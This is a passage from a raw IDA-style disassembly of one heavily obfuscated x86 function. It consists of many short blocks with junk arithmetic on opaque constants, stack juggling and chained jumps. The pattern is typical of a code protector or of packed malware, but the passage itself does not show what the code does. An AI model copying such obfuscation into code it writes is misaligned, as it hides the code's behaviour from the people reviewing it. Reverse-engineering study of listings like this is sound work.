		xor	ecx, [esp-6E64h+arg_6E5C]
		pop	esp
		or	eax, eax
		jz	loc_5A4482
		push	dword ptr [edi+1Ch]
		push	[esp-6E64h+arg_6E5C]
		mov	ecx, [esp-6E60h+arg_6E58]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 5B534E3Bh
		xchg	edi, esi
		not	edi
		jmp	loc_59CDD5
; ---------------------------------------------------------------------------


loc_596FD3:				; CODE XREF: sub_581EE9+216F7j
		pop	edi
		inc	edi
		sub	edi, 1C9C6D37h
		jmp	loc_5A6375
; ---------------------------------------------------------------------------


loc_596FE0:				; CODE XREF: sub_581EE9+1F6D7j
		push	eax
		push	4D8Eh
		mov	[esp-6E54h+arg_6E4C], edx
		mov	dh, 0E5h
		mov	al, dh
		jmp	loc_5A2EEA
; ---------------------------------------------------------------------------


loc_596FF2:				; CODE XREF: sub_581EE9+157B3j
		xor	edx, 16966401h
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_5935F7
; ---------------------------------------------------------------------------


loc_597007:				; CODE XREF: sub_581EE9+1C178j
		mov	ebx, 2CF373BFh
		inc	ebx
		jmp	loc_593211
; ---------------------------------------------------------------------------


loc_597012:				; CODE XREF: sub_581EE9+208DBj
		pop	ebx
		and	edx, 435356A7h
		xor	edx, 43104421h
		jmp	loc_59A914
; ---------------------------------------------------------------------------


loc_597024:				; CODE XREF: sub_581EE9+16E6Cj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A239B
; ---------------------------------------------------------------------------


loc_597035:				; CODE XREF: sub_581EE9+159F9j
		sub	eax, 5D4778F2h
		add	eax, ecx
		add	eax, 5D4778F2h
		sub	eax, 2EE44BEAh
		jmp	loc_5A28AA
; ---------------------------------------------------------------------------


loc_59704B:				; CODE XREF: sub_581EE9+1362Ej
		mov	[esp-6E6Ch+arg_6E64], edx
		mov	edx, 7E3F023Eh
		xor	edx, 23610A07h
		jmp	loc_593A5B
; ---------------------------------------------------------------------------


loc_59705E:				; CODE XREF: sub_581EE9+148EAj
		add	[esp-6E66h+arg_6E60+2],	edx
		pop	edx
		pop	[esp-6E6Ah+arg_6E60+2]
		jmp	loc_59BEBF
; ---------------------------------------------------------------------------


loc_59706B:				; CODE XREF: sub_581EE9+1E2E7j
		add	esp, 4
		add	ebp, ecx
		mov	ecx, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		xor	ebp, [esp-6E76h+arg_6E6E]
		jmp	loc_5A59F9
; ---------------------------------------------------------------------------


loc_597081:				; CODE XREF: sub_581EE9+197ADj
		not	edi
		sub	edi, 24735F21h
		push	eax
		push	ebx
		mov	ebx, 0ECB0B355h
		mov	eax, ebx
		pop	ebx
		xor	edi, eax
		jmp	loc_5A682A
; ---------------------------------------------------------------------------


loc_59709A:				; CODE XREF: sub_581EE9+211A2j
		mov	ebp, eax
		pop	eax
		mov	edi, 36FA44A2h
		jmp	loc_5A48F6
; ---------------------------------------------------------------------------


loc_5970A7:				; CODE XREF: sub_581EE9+14F55j
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_5A611C
; ---------------------------------------------------------------------------


loc_5970B4:				; CODE XREF: sub_581EE9+2341Bj
		mov	ecx, esp
		jmp	loc_596A33
; ---------------------------------------------------------------------------


loc_5970BB:				; CODE XREF: sub_581EE9+1F607j
		xor	ebp, edi
		jmp	loc_5A6988
; ---------------------------------------------------------------------------


loc_5970C2:				; CODE XREF: sub_581EE9+24422j
		push	[esp-6E4Eh+arg_6E44+2]
		push	dword ptr [esp+0]
		pop	ebp
		jmp	loc_59B4CB
; ---------------------------------------------------------------------------


loc_5970CE:				; CODE XREF: sub_581EE9+13D68j
		push	eax
		jmp	loc_599445
; ---------------------------------------------------------------------------


loc_5970D4:				; CODE XREF: sub_581EE9+18313j
		pop	esp
		sub	eax, 7245694Ch
		jmp	loc_595E6E
; ---------------------------------------------------------------------------


loc_5970DF:				; CODE XREF: sub_581EE9+227AAj
		mov	[esp-6E7Ch+arg_6E72+2],	ecx
		mov	ecx, 3F9B4C40h
		or	ecx, 10E1439Dh
		add	ecx, 1
		jmp	loc_59FB7D
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E7Ch+arg_6E72+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_592E8B
; ---------------------------------------------------------------------------


loc_59710A:				; CODE XREF: sub_581EE9+15EFEj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59710F:				; CODE XREF: sub_581EE9+1D5BEj
		sub	dh, 67h
		or	dh, 25h
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		add	dh, 1
		sub	dh, 5Bh
		push	ecx
		mov	ch, 29h
		jmp	loc_5986FD
; ---------------------------------------------------------------------------


loc_597129:				; CODE XREF: sub_581EE9+24415j
		add	edx, 162235CDh
		add	edx, ebx
		sub	edx, 162235CDh
		pop	ebx
		add	edx, 4
		xchg	edx, [esp-6E78h+arg_6E6E+2]
		mov	esp, [esp-6E78h+arg_6E6E+2]
		add	bl, 2Ch
		sub	bl, al
		sub	bl, 2Ch
		push	small 2150h
		jmp	loc_59D85E
; ---------------------------------------------------------------------------


loc_597152:				; CODE XREF: sub_581EE9+22CDBj
		add	al, 0A9h
		jmp	loc_5A0D96
; ---------------------------------------------------------------------------


loc_597159:				; CODE XREF: sub_581EE9+1DD8Ej
		mov	ebx, 476043Ah
		not	ebx
		shr	ebx, 2
		jmp	loc_596B90
; ---------------------------------------------------------------------------


loc_597168:				; CODE XREF: sub_581EE9+181B2j
		mov	ecx, [esp-6E76h+arg_6E6E]
		add	esp, 4
		xor	ecx, 0EA0C6B59h
		push	ebp
		mov	ebp, 4239575Ah
		xor	ebp, 108B713Eh
		inc	ebp
		not	ebp
		add	ebp, 7C5A3D4Fh
		jmp	loc_5A43CE
; ---------------------------------------------------------------------------


loc_597191:				; CODE XREF: sub_581EE9+1726Fj
		push	[esp-6E76h+arg_6E6E]
		jmp	loc_59B718
; ---------------------------------------------------------------------------


loc_597199:				; CODE XREF: sub_581EE9+24B69j
		mov	ebp, [esp-6E72h+arg_6E68+2]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		mov	esi, 4
		jmp	loc_592140
; ---------------------------------------------------------------------------


loc_5971AF:				; CODE XREF: sub_581EE9+1D089j
		sub	ecx, 1E6EBAh
		jmp	loc_595A37
; ---------------------------------------------------------------------------


loc_5971BA:				; CODE XREF: sub_581EE9+1E5D2j
		mov	ebx, 3A7125D4h
		push	ebx
		jmp	loc_59957B
; ---------------------------------------------------------------------------


loc_5971C5:				; CODE XREF: sub_581EE9+1C343j
		add	esp, 4
		sub	ecx, esi
		pop	esi
		sub	[edi+24h], ecx
		push	[esp-6E6Eh+arg_6E64+2]
		jmp	loc_596F48
; ---------------------------------------------------------------------------


loc_5971D9:				; CODE XREF: sub_581EE9+2180Bj
		push	4
		pop	ebp
		add	[esp-6E6Ah+arg_6E64+2],	ebp
		mov	ebp, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		jmp	loc_5937EA
; ---------------------------------------------------------------------------


loc_5971F1:				; CODE XREF: sub_581EE9+1B6E9j
		sub	cl, 5Fh
		dec	cl
		not	cl
		jmp	loc_5A1D8C
; ---------------------------------------------------------------------------


loc_5971FD:				; CODE XREF: sub_581EE9+1441Aj
		push	esi
		mov	esi, edi
		jmp	loc_5A6211
; ---------------------------------------------------------------------------


loc_597205:				; CODE XREF: sub_581EE9+1BE9Bj
		add	ebx, 0FFFFFFFFh
		push	ebx
		jmp	loc_5A3B7F
; ---------------------------------------------------------------------------


loc_597211:				; CODE XREF: sub_581EE9+21151j
		mov	esi, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		xchg	ebp, [esp-6EAEh+arg_6EA4+2]
		pop	esp
		push	esi
		jmp	loc_5A243E
; ---------------------------------------------------------------------------


loc_597224:				; CODE XREF: sub_581EE9+23036j
		sub	al, 21h
		push	[esp-6EAEh+arg_6EA4+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		push	283Dh
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edx
		mov	dh, 44h
		shr	dh, 8
		add	dh, 63h
		jmp	loc_59F2E2
; ---------------------------------------------------------------------------


loc_597255:				; CODE XREF: sub_581EE9+1C7FEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59EB7F
; ---------------------------------------------------------------------------


loc_597268:				; CODE XREF: sub_581EE9+1D2FAj
		mov	eax, 0
		sub	eax, ebp
		xchg	eax, ebp
		pop	eax
		sub	ebp, 9A5489F2h
		sub	edi, ebp
		mov	ebp, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_59389F
; ---------------------------------------------------------------------------


loc_597281:				; CODE XREF: sub_581EE9+1F86Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_597D43
; ---------------------------------------------------------------------------


loc_597298:				; CODE XREF: sub_581EE9+23F6Bj
		mov	ch, 2Ah
		jmp	loc_5939D6
; ---------------------------------------------------------------------------


loc_59729F:				; CODE XREF: sub_581EE9+17FDBj
		mov	eax, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		add	ebx, 7C2E54A4h
		sub	ebx, 174E298Bh
		jmp	loc_5A2606
; ---------------------------------------------------------------------------


loc_5972B6:				; CODE XREF: sub_581EE9+21C41j
		push	ebx
		mov	ebx, 15514C35h
		or	ecx, ebx
		pop	ebx
		jmp	loc_5A4E2B
; ---------------------------------------------------------------------------


loc_5972C4:				; CODE XREF: sub_581EE9+13D20j
		add	edx, 2137F760h
		jmp	loc_59DD48
; ---------------------------------------------------------------------------


loc_5972CF:				; CODE XREF: sub_581EE9+19F77j
		push	si
		mov	si, 0AF7Ch
		jmp	loc_599AB4
; ---------------------------------------------------------------------------


loc_5972DA:				; CODE XREF: sub_581EE9+10D9Fj
		mov	ebp, 0A9B2DAEh
		xor	edx, ebp
		jmp	loc_5A12CC
; ---------------------------------------------------------------------------


loc_5972E6:				; CODE XREF: sub_581EE9+227B2j
		inc	dh
		inc	dh
		add	dh, 6Fh
		jmp	loc_59B41A
; ---------------------------------------------------------------------------


loc_5972F2:				; CODE XREF: sub_581EE9+19CFCj
		or	esi, 1C8C4D88h
		sub	esi, 7CAF6FB5h
		sub	ebx, 10EA4049h
		add	ebx, esi
		add	ebx, 10EA4049h
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp-6E7Eh+arg_6E76]
		pop	esp
		push	dword ptr [esp-6E82h+arg_6E7A]
		mov	edx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		jmp	loc_592C4F
; ---------------------------------------------------------------------------


loc_597322:				; CODE XREF: sub_581EE9+21374j
		xor	ebx, dword ptr [esp-6E82h+arg_6E7A]
		xor	dword ptr [esp-6E82h+arg_6E7A],	ebx
		xor	ebx, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_5A58AE
; ---------------------------------------------------------------------------


loc_597330:				; CODE XREF: sub_581EE9+116C3j
		mov	ebp, 6D705CB6h
		sub	ebp, 48B36E0Fh
		dec	ebp
		jmp	loc_5A6303
; ---------------------------------------------------------------------------


loc_597341:				; CODE XREF: sub_581EE9+21947j
		sub	eax, esi
		pop	esi
		add	eax, ebx
		push	edx
		jmp	loc_594A5A
; ---------------------------------------------------------------------------


loc_59734C:				; CODE XREF: sub_581EE9+1742Ej
		sub	ebx, ecx
		jmp	loc_5A0755
; ---------------------------------------------------------------------------


loc_597353:				; CODE XREF: sub_581EE9+1CC39j
		add	ebx, 46F5EE20h
		jmp	loc_5A6D1C
; ---------------------------------------------------------------------------


loc_59735E:				; CODE XREF: sub_581EE9+1EEB7j
		mov	dl, 0F7h
		add	dl, 72h
		sub	dl, 83h
		add	al, dl
		pop	edx
		sub	al, 35h
		mov	cx, word ptr [esp-6E86h+arg_6E7C+2]
		add	esp, 2
		push	eax
		push	ecx
		mov	ch, 41h
		jmp	loc_5A1142
; ---------------------------------------------------------------------------


loc_59737E:				; CODE XREF: sub_581EE9+23ED3j
		xchg	eax, ecx
		jmp	loc_594BA1
; ---------------------------------------------------------------------------


loc_597384:				; CODE XREF: sub_581EE9+15A27j
		inc	ebx
		jmp	loc_599534
; ---------------------------------------------------------------------------


loc_59738A:				; CODE XREF: sub_581EE9+1A63Cj
		push	esi
		jmp	loc_59D967
; ---------------------------------------------------------------------------


loc_597390:				; CODE XREF: sub_581EE9+18F9Ej
		add	ecx, esi
		jmp	loc_5A1F0B
; ---------------------------------------------------------------------------


loc_597397:				; CODE XREF: sub_581EE9+219E4j
		mov	ebx, [esp-6E7Eh+arg_6E76]
		jmp	loc_5A672D
; ---------------------------------------------------------------------------


loc_59739F:				; CODE XREF: sub_581EE9+22A47j
		and	eax, esi
		push	[esp-6E7Eh+arg_6E76]
		pop	esi
		jmp	loc_59C401
; ---------------------------------------------------------------------------


loc_5973AA:				; CODE XREF: sub_581EE9+23F93j
		sub	ebx, 43381FCDh
		sub	ebx, 231E1AE2h
		sub	ebx, 0E8B8EAC2h
		add	edx, ebx
		jmp	loc_599FED
; ---------------------------------------------------------------------------


loc_5973C3:				; CODE XREF: sub_581EE9+13738j
		sub	esi, ecx
		jmp	loc_59C123
; ---------------------------------------------------------------------------


loc_5973CA:				; CODE XREF: sub_581EE9+24538j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A382C
; ---------------------------------------------------------------------------


loc_5973DB:				; CODE XREF: sub_581EE9+1189Aj
		push	ebx
		mov	bh, 98h
		sub	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ecx
		push	edx
		mov	dl, 8Bh
		sub	dl, 0A5h
		shr	dl, 4
		inc	dl
		jmp	loc_5A02BF
; ---------------------------------------------------------------------------


loc_5973FA:				; CODE XREF: sub_581EE9+1124Aj
		pop	ecx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597400:				; CODE XREF: sub_581EE9+2412Cj
		add	edx, ebx
		jmp	loc_59999B
; ---------------------------------------------------------------------------


loc_597407:				; CODE XREF: sub_581EE9+1E05Aj
		add	eax, ecx
		pop	ecx
		xor	eax, [esp-6E56h+arg_6E4C+2]
		xor	[esp-6E56h+arg_6E4C+2],	eax
		xor	eax, [esp-6E56h+arg_6E4C+2]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-6E56h+arg_6E4C+2]
		pop	esp
		mov	[esp-6E5Ah+arg_6E50+2],	edx
		mov	edx, esp
		jmp	loc_5A0CCE
; ---------------------------------------------------------------------------


loc_597431:				; CODE XREF: sub_581EE9+22908j
		mov	edi, 776749C5h
		push	0
		sub	[esp-6E56h+arg_6E4C+2],	edi
		jmp	loc_59413D
; ---------------------------------------------------------------------------


loc_597443:				; CODE XREF: sub_581EE9+194C0j
		push	4513h
		mov	[esp-6E52h+arg_6E48+2],	ecx
		mov	ecx, 56AF14B6h
		xor	ecx, 55D43C61h
		jmp	loc_59BF3F
; ---------------------------------------------------------------------------


loc_59745B:				; CODE XREF: sub_581EE9+1F936j
		push	[esp-6E52h+arg_6E4C+2]
		pop	ebx
		pop	[esp-6E52h+arg_6E48+2]
		jmp	loc_5A601A
; ---------------------------------------------------------------------------


loc_597468:				; CODE XREF: sub_581EE9+1D670j
		sub	esi, 6684477h
		push	ebx
		mov	ebx, 7A487E6Bh
		jmp	loc_5A3E10
; ---------------------------------------------------------------------------


loc_597479:				; CODE XREF: sub_581EE9+216BCj
		pop	ebx
		pop	ecx
		push	eax
		push	ebp
		jmp	loc_595436
; ---------------------------------------------------------------------------


loc_597482:				; CODE XREF: sub_581EE9+24D27j
		pop	esp
		mov	[esp-6E56h+arg_6E4C+2],	ecx
		push	esp
		pop	ecx
		jmp	loc_59DDDE
; ---------------------------------------------------------------------------


loc_59748D:				; CODE XREF: sub_581EE9+21002j
		add	dh, al
		jmp	loc_59211C
; ---------------------------------------------------------------------------


loc_597494:				; CODE XREF: sub_581EE9+14ED6j
		add	eax, edi
		pop	edi
		jmp	loc_5A58F4
; ---------------------------------------------------------------------------


loc_59749C:				; CODE XREF: sub_581EE9+12D1Dj
		mov	edi, [esp+0]
		jmp	loc_593849
; ---------------------------------------------------------------------------


loc_5974A4:				; CODE XREF: sub_581EE9+1B153j
		mov	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 34E6737Bh
		sub	eax, 70914F6Ah
		jmp	loc_59AF58
; ---------------------------------------------------------------------------


loc_5974B7:				; CODE XREF: sub_581EE9+1BF87j
		xchg	esi, [esp+0]
		pop	esp
		and	eax, edx
		pop	edx
		shr	eax, 8
		xor	eax, ecx
		push	eax
		mov	eax, esp
		push	7A74h
		mov	[esp+0], ebx
		push	ebp
		mov	ebp, 79105C39h
		dec	ebp
		shl	ebp, 8
		shr	ebp, 6
		sub	ebp, 0A79C50ABh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5A7053
; ---------------------------------------------------------------------------


loc_5974E9:				; CODE XREF: sub_581EE9+169F9j
		sub	esp, 4
		push	esp
		pop	[esp-6E88h+arg_6E80]
		push	edi
		mov	edi, 4
		add	[esp-6E88h+arg_6E84], edi
		pop	edi
		pop	[esp-6E8Ch+arg_6E84]
		add	dword ptr [esp+0], 4
		push	dword ptr [esp+0]
		pop	esi
		push	2720h
		jmp	loc_59C07D
; ---------------------------------------------------------------------------


loc_597510:				; CODE XREF: sub_581EE9+1C09Cj
		xor	ecx, 0CE9041Fh
		mov	eax, ecx
		pop	ecx
		mov	edx, eax
		pop	eax
		jmp	loc_5A356A
; ---------------------------------------------------------------------------


loc_597521:				; CODE XREF: sub_581EE9+1BF0Ej
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_597526:				; CODE XREF: sub_581EE9+21197j
		add	edi, 7D884A2Fh
		jmp	loc_5A4541
; ---------------------------------------------------------------------------


loc_597531:				; CODE XREF: sub_581EE9+24160j
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx


loc_597536:				; CODE XREF: sub_581EE9+1008Fj
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, 2B6B7566h
		add	edx, eax
		sub	edx, 2B6B7566h
		mov	eax, [esp+0]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp-6E94h+arg_6E8A+2]
		pop	esp
		mov	[esp-6E98h+arg_6E8E+2],	esi
		mov	esi, esp
		push	ecx
		push	ebx
		mov	ebx, 28BC11C0h
		jmp	loc_594E68
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_592FB0
; ---------------------------------------------------------------------------


loc_59757C:				; CODE XREF: sub_581EE9+1E997j
		mov	[esp-6E8Ch+arg_6E84], ebx
		jmp	loc_598621
; ---------------------------------------------------------------------------


loc_597584:				; CODE XREF: sub_581EE9+224D0j
		sub	esi, 38E00B3h
		push	31h
		mov	[esp-6E88h+arg_6E80], edi
		jmp	loc_5A593C
; ---------------------------------------------------------------------------


loc_597597:				; CODE XREF: sub_581EE9+15B21j
		pop	edx
		push	0
		jmp	loc_5A142E
; ---------------------------------------------------------------------------


loc_5975A2:				; CODE XREF: sub_581EE9+18BF3j
		mov	ebx, 9584C12Dh
		add	edx, ebx
		jmp	loc_5A15C5
; ---------------------------------------------------------------------------


loc_5975AE:				; CODE XREF: sub_581EE9+22410j
		xor	dl, 81h
		neg	dl
		jmp	loc_59FF69
; ---------------------------------------------------------------------------


loc_5975B8:				; CODE XREF: sub_581EE9+14C5Dj
		pop	esi
		jmp	loc_5934BB
; ---------------------------------------------------------------------------


loc_5975BE:				; CODE XREF: sub_581EE9+23D18j
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		push	1854h
		mov	[esp-6E62h+arg_6E58+2],	eax
		push	ebp
		mov	ebp, 5F325012h
		push	edx
		push	3C540DDAh
		pop	edx
		add	edx, 6479A216h
		jmp	loc_592F2D
; ---------------------------------------------------------------------------


loc_5975E4:				; CODE XREF: sub_581EE9+16263j
		push	[esp-6E5Ah+arg_6E50+2]
		jmp	loc_5A192F
; ---------------------------------------------------------------------------


loc_5975EC:				; CODE XREF: sub_581EE9+100E6j
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59D60C
; ---------------------------------------------------------------------------


loc_5975F8:				; CODE XREF: sub_581EE9+2067Fj
		push	[esp-6EA2h+arg_6E9E]
		mov	esi, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		pop	[esp-6EA2h+arg_6E9A]
		jmp	loc_59366C
; ---------------------------------------------------------------------------


loc_59760D:				; CODE XREF: sub_581EE9+11B86j
		xor	dword ptr [esp-6E82h+arg_6E7A],	ebp
		xor	ebp, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59693C
; ---------------------------------------------------------------------------


loc_597618:				; CODE XREF: sub_581EE9+121DFj
		xor	eax, 1FFA016Fh
		add	eax, 1217728Ch
		jmp	loc_5943BB
; ---------------------------------------------------------------------------


loc_597627:				; CODE XREF: sub_581EE9+20F76j
		xchg	esi, [esp-6E76h+arg_6E6E]
		jmp	loc_5A286A
; ---------------------------------------------------------------------------


loc_59762F:				; CODE XREF: sub_581EE9+1CC9Aj
		push	ecx
		jmp	loc_598322
; ---------------------------------------------------------------------------


loc_597635:				; CODE XREF: sub_581EE9+214B8j
		xchg	edi, [esp-6E72h+arg_6E68+2]
		pop	esp
		dec	ebx
		not	ebx
		not	ebx
		sub	esp, 4
		mov	[esp-6E72h+arg_6E68+2],	edi
		mov	edi, 29763280h
		push	esi
		push	23741DFEh
		pop	esi
		add	edi, 40A71A6Dh
		add	edi, esi
		sub	edi, 40A71A6Dh
		pop	esi
		xor	ebx, edi
		jmp	loc_59C761
; ---------------------------------------------------------------------------


loc_597666:				; CODE XREF: sub_581EE9+1FA68j
		xor	ebp, 0DB1627C7h
		mov	ebx, ebp
		mov	ebp, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		shr	ebx, 3
		add	ebx, 4FAB24D7h
		push	esi
		mov	esi, 8D951657h
		jmp	loc_597898
; ---------------------------------------------------------------------------


loc_597688:				; CODE XREF: sub_581EE9+1E65Dj
		push	edi
		mov	edi, 2005805h
		jmp	loc_592378
; ---------------------------------------------------------------------------


loc_597693:				; CODE XREF: sub_581EE9+1FF73j
		xor	ebx, 6AFE6371h
		mov	edx, ebx
		pop	ebx
		jmp	loc_596FF2
; ---------------------------------------------------------------------------


loc_5976A1:				; CODE XREF: sub_581EE9+1C8B3j
		add	esp, 4
		jmp	loc_5A49BA
; ---------------------------------------------------------------------------


loc_5976A9:				; CODE XREF: sub_581EE9+1FA41j
		or	al, 0C7h
		inc	al
		shl	al, 2
		neg	al
		xor	al, 86h
		push	bx
		mov	bh, 2Bh
		sub	al, bh
		pop	bx
		mov	bl, al
		jmp	loc_59EDE4
; ---------------------------------------------------------------------------


loc_5976C3:				; CODE XREF: sub_581EE9+1ECAFj
		sub	eax, 33904B70h
		add	eax, 4DA806F7h
		pop	edx
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, [esp-6E7Eh+arg_6E76]
		xor	[esp-6E7Eh+arg_6E76], esi
		xor	esi, [esp-6E7Eh+arg_6E76]
		mov	esp, [esp-6E7Eh+arg_6E76]
		add	byte ptr [esp-6E7Eh+arg_6E76], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5976EB:				; CODE XREF: sub_581EE9+19D5Fj
		mov	[esp-6E7Ah+arg_6E72], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 1A6F123Fh
		push	ebp
		jmp	loc_59EE51
; ---------------------------------------------------------------------------


loc_5976FC:				; CODE XREF: sub_581EE9+176EEj
		add	esp, 4
		jmp	loc_59EB88
; ---------------------------------------------------------------------------


loc_597704:				; CODE XREF: sub_581EE9+10B44j
		mov	eax, 2
		jmp	loc_594D0B
; ---------------------------------------------------------------------------


loc_59770E:				; CODE XREF: sub_581EE9+17BE1j
		add	bx, 50A4h
		jmp	loc_5966EB
; ---------------------------------------------------------------------------


loc_597718:				; CODE XREF: sub_581EE9+134F8j
		add	esi, 4
		push	eax
		mov	eax, 77EB330Bh
		neg	eax
		push	ebx
		mov	ebx, 2F123BD4h
		jmp	loc_5A2E35
; ---------------------------------------------------------------------------


loc_597731:				; CODE XREF: sub_581EE9+1704Aj
		sub	esi, 51486D3Bh
		add	esi, 308F7CCFh
		jmp	loc_5A6C40
; ---------------------------------------------------------------------------


loc_597742:				; CODE XREF: sub_581EE9+1F1CBj
		pop	esi
		push	606h
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		mov	ebp, 3E172EE9h
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	ebx
		mov	ebx, 6B1767DEh
		sub	eax, 27DD740Eh
		sub	eax, ebx
		add	eax, 27DD740Eh
		pop	ebx
		sub	eax, ebp
		push	edx
		jmp	loc_5964A2
; ---------------------------------------------------------------------------


loc_597770:				; CODE XREF: sub_581EE9+13D4Cj
		push	14513B65h
		pop	edx
		or	edi, edx
		pop	edx
		jmp	loc_59A790
; ---------------------------------------------------------------------------


loc_59777E:				; CODE XREF: sub_581EE9+20EDFj
		push	edi
		mov	edi, esp
		jmp	loc_59963B
; ---------------------------------------------------------------------------


loc_597786:				; CODE XREF: sub_581EE9+16B9Ej
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59C843
; ---------------------------------------------------------------------------


loc_597794:				; CODE XREF: sub_581EE9+223F0j
		mov	edx, 4
		sub	[esp-6E88h+arg_6E84], 28A9138Fh
		add	[esp-6E88h+arg_6E84], edx
		add	[esp-6E88h+arg_6E84], 28A9138Fh
		pop	edx
		push	[esp-6E8Ch+arg_6E84]
		mov	esi, [esp-6E88h+arg_6E80]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5A43AB
; ---------------------------------------------------------------------------


loc_5977C5:				; CODE XREF: sub_581EE9+178BCj
		pop	esp
		jmp	loc_595B74
; ---------------------------------------------------------------------------


loc_5977CB:				; CODE XREF: sub_581EE9+15C01j
		mov	[esp+0], ecx
		mov	ecx, 4004073Eh
		and	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], esi
		push	eax
		push	0C3B60C3Ah
		pop	eax
		mov	esi, eax
		mov	eax, [esp-6E8Ch+arg_6E84]
		add	esp, 4
		sub	eax, 76804A92h
		sub	eax, esi
		add	eax, 76804A92h
		pop	esi
		jmp	loc_5A1A3E
; ---------------------------------------------------------------------------


loc_597803:				; CODE XREF: sub_581EE9+2447Dj
		push	esi
		push	[esp-6E90h+arg_6E8A+2]
		pop	esi
		pop	dword ptr [esp+0]
		jmp	loc_599688
; ---------------------------------------------------------------------------


loc_597811:				; CODE XREF: sub_581EE9+174F3j
		mov	eax, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		xor	eax, 7A485EE7h
		mov	ecx, [esp-6E98h+arg_6E8E+2]
		add	esp, 4
		push	653h
		mov	[esp-6E98h+arg_6E8E+2],	esi
		mov	esi, esp
		push	3563h
		mov	[esp-6E94h+arg_6E8A+2],	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_593636
; ---------------------------------------------------------------------------


loc_597844:				; CODE XREF: sub_581EE9+190BDj
		mov	ebx, edi
		pop	edi
		mov	esi, 0C866C400h
		add	esi, ebx
		push	[esp-6E9Ch+arg_6E92+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	edi
		jmp	loc_5A288A
; ---------------------------------------------------------------------------


loc_597863:				; CODE XREF: sub_581EE9+14E64j
		mov	[esp-6EA2h+arg_6E9A], esp
		push	1A94h
		mov	[esp-6E9Eh+arg_6E96], eax
		jmp	loc_594659
; ---------------------------------------------------------------------------


loc_597873:				; CODE XREF: sub_581EE9+1C71Dj
		add	esp, 4
		or	eax, eax
		jnz	loc_5A1D2F
		push	1D40h
		mov	[esp-6E9Eh+arg_6E96], esi
		mov	esi, 345F298Eh
		not	esi
		sub	esi, 0BB655906h
		jmp	loc_594F79
; ---------------------------------------------------------------------------


loc_597898:				; CODE XREF: sub_581EE9+1579Aj
		sub	ebx, esi
		pop	esi
		xor	edx, ebx
		pop	ebx
		jmp	loc_59FDB2
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E7Ah+arg_6E72]
		push	1222h
		mov	[esp-6E76h+arg_6E6E], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp-6E72h+arg_6E68+2]
		jmp	loc_5A5404
; ---------------------------------------------------------------------------


loc_5978C1:				; CODE XREF: sub_581EE9+21953j
		xor	ebx, edx
		not	edx
		xchg	edx, ebx
		xchg	ebx, edi
		push	eax
		push	edi
		pop	eax
		pop	edi
		push	edi
		push	4E39h
		jmp	loc_599120
; ---------------------------------------------------------------------------


loc_5978D8:				; CODE XREF: sub_581EE9+1EF01j
		mov	ecx, 4
		add	eax, 2EE44BEAh
		jmp	loc_597035
; ---------------------------------------------------------------------------


loc_5978E7:				; CODE XREF: sub_581EE9+1B47Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_597DEC
; ---------------------------------------------------------------------------


loc_5978F3:				; CODE XREF: sub_581EE9+1BB6Bj
		mov	[esp-6E6Ah+arg_6E60+2],	ebx
		mov	ebx, 0BFD1DA1h
		or	ebx, 596C65BEh
		shl	ebx, 8
